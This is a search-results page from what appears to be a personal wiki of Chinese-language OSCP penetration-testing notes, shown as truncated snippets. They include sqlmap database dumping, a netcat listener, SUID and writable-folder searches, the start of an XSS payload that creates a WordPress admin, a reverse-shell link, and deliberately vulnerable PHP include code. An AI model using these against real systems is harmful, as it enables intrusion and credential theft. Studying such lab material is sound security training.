搜尋結果

  # 安裝 sudo apt-get update sudo apt-get install gobuster # git hub # https://github.com/OJ/gobuster # 1. **基本目錄爆破：** # 在目標網站進行基本的目錄爆破，使用默認的字典文件： gobuster dir -u http://example.com -t 10 # 2. **指定字典文件：** # 使用自定義的字典文件進行目錄爆破： gobuster dir -u ...

OSCP Recipe 2023 Date: 20230921 ssh -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" root@192.168.212.45 ssh bob@10.11.1.136 -oKexAlgorithms=+diffie-hellman-group1-sha1 sudo tcpdump -nnvvvAi tun0 udp port   REFS https://github.com/swi...

  # 安裝 sudo apt install rlwrap # listener 8888 rlwrap -cAr nc -nvlp8888 `rlwrap` 是一個用於包裹 Readline 函數庫的工具，它允許使用者在一些不支援 Readline 的命令行工具中添加行編輯和歷史記錄功能。Readline 是一個提供命令行編輯和歷史記錄功能的函數庫，用於提高命令行的互動性。 以下是 `rlwrap` 的簡要說明： rlwrap [OPTIONS] COMMAND **主要特點：**1. **行編...

`iwr` 是 Windows PowerShell 中的一個 cmdlet，用於發送 HTTP、HTTPS 或 FTP 請求，並檢索相應的響應。`iwr` 的全稱是 "Invoke-WebRequest"。這個 cmdlet 提供了一個簡潔的方式，讓使用者能夠與網頁或 Web 服務進行互動，進行數據擷取和其他 HTTP 操作。 以下是 `iwr` 的主要特點和使用示例： 主要特點： 1. **HTTP、HTTPS、FTP 支持：** `iwr` 支持使用 HTTP、HTTPS 或 FTP 協議發送請求。 ...

# 找尋可寫的資料夾 find / -writable -type d 2>/dev/null # 尋找當前用戶可寫目錄 oe@debian-privesc:~$ find / -writable -type d 2>/dev/null .. /home/joe /home/joe/Videos /home/joe/Templates /home/joe/.local /home/joe/.local/share # 搜索帶有 SUID 位設置的文件（-type f，-perm -u=s） #...

`(判斷式) ?: 0` 是 Kotlin 中的 Elvis 運算符。Elvis 運算符用於簡化空值檢查，它的語法形式是 `?:`。 具體地說，`(判斷式) ?: 0` 表示如果判定式的值不為 null，則使用判定式的值；如果判定式的值為 null，則使用後面的默認值 0。 下面是一個例子： val result: Int? = someNullableValue // 假設 someNullableValue 是一個可能為 null 的變量 val finalResult = result ?: 0 ...

import org.apache.commons.beanutils.BeanUtils; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.dao.DataAccessException; import org.springframework.data.redis.connection.RedisConnection; import org.springframework.data.r...

  kali@kali:~$ sqlmap -u http://192.168.50.19/blindsqli.php?user=1 -p user # 傾卸整個數據庫，包括用戶憑據 --dump kali@kali:~$ sqlmap -u http://192.168.50.19/blindsqli.php?user=1 -p user --dump # -r 參數調用 sqlmap，並將包含 POST 請求的文件作為參數 kali@kali:~$ sqlmap -r post.txt -p...

ExifTool 是一個用於讀取、編輯和寫入影像、音頻和視頻文件的元數據（metadata）的命令行工具。它由Phil Harvey開發，支援多種檔案格式，包括JPEG、TIFF、PNG、PDF、MP3、AVI等。ExifTool 廣泛應用在數位相機、手機、數位媒體軟體以及數位取證等領域。 # -a 顯示重複的標籤 # -u 顯示未知的標籤 kali@kali:~/Downloads$ exiftool -a -u brochure.pdf ExifTool Version Number ...

https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS `linpeas.sh` 是一個用於 Linux 系統的自動化信息搜集工具，特別是用於提取有關系統環境、配置和潛在安全問題的信息。該工具的全名是 "Linux Privilege Escalation Awesome Script"，簡稱 linpeas。 以下是 linpeas.sh 的主要功能和用途： 1. **信息搜集**：linpeas.sh 會掃描系統，收集關於用戶、組、進程、網絡...

#啟動 kali@kali:~$ burpsuite https://bookstack.treemanou.com/books/treemanoscp/page/ch8-introduction-to-web-application-attacks#bkmrk-%C2%A0-0

https://jscompress.com/ var ajaxRequest = new XMLHttpRequest(); var requestURL = "/wp-admin/user-new.php"; var nonceRegex = /ser" value="([^"]*?)"/g; ajaxRequest.open("GET", requestURL, false); ajaxRequest.send(); var nonceMatch = nonceRegex.exec(ajaxReq...

https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php <?php // php-reverse-shell - A Reverse Shell implementation in PHP // Copyright (C) 2007 pentestmonkey@pentestmonkey.net // // This tool may be used for legal purposes on...

  curl #`--path-as-is` 是在使用 cURL 命令時的一個特殊參數， # 它指示 cURL 將 URL 中的路徑部分視為原樣處理，而不進行百分比編碼（Percent-Encoding）。 # 當你使用 `--path-as-is` 參數時，cURL 不會對 URL 中的特殊字符進行轉義，而是直接使用原始的字符。 # 這在某些情況下可能很有用，特別是當你需要在 URL 中使用特殊字符而不希望 cURL 對它們進行轉義時。 # 在這個例子中，`--path-as-is` 參數告訴 cUR...

除了 rwx 文件權限外，還有兩個與可執行文件相關的額外特殊權利：setuid 和 setgid。這些用字母 "s" 來表示。 如果這兩個權限被設置，權限中將出現大寫或小寫的 "s"。這允許當前用戶以擁有者（setuid）或擁有者組（setgid）的權限執行文件。 執行可執行文件時，通常會繼承運行它的用戶的權限。但是，如果設置了 SUID 權限，則二進位文件將以文件擁有者的權限運行。這意味著如果一個二進位文件具有 SUID 位設置並且文件由 root 擁有，任何本地用戶都可以以提升的權限執行該二進位文件。 當...

php 漏洞網頁 index.php <a href="index.php?page=admin.php"><p style="text-align:center">Admin</p></a> <!-- 使用page 參數可以注入頁面 --> <?php $adminpage=$_GET['page']; if(isset($adminpage)) { include($adminpage); } ?> 編碼操作： 以下是一個簡單的例子，演示如何使用 `php://filter` 在包含文件的過程中...

impacket-mssqlclient Administrator:Lab123@192.168.50.18 -windows-auth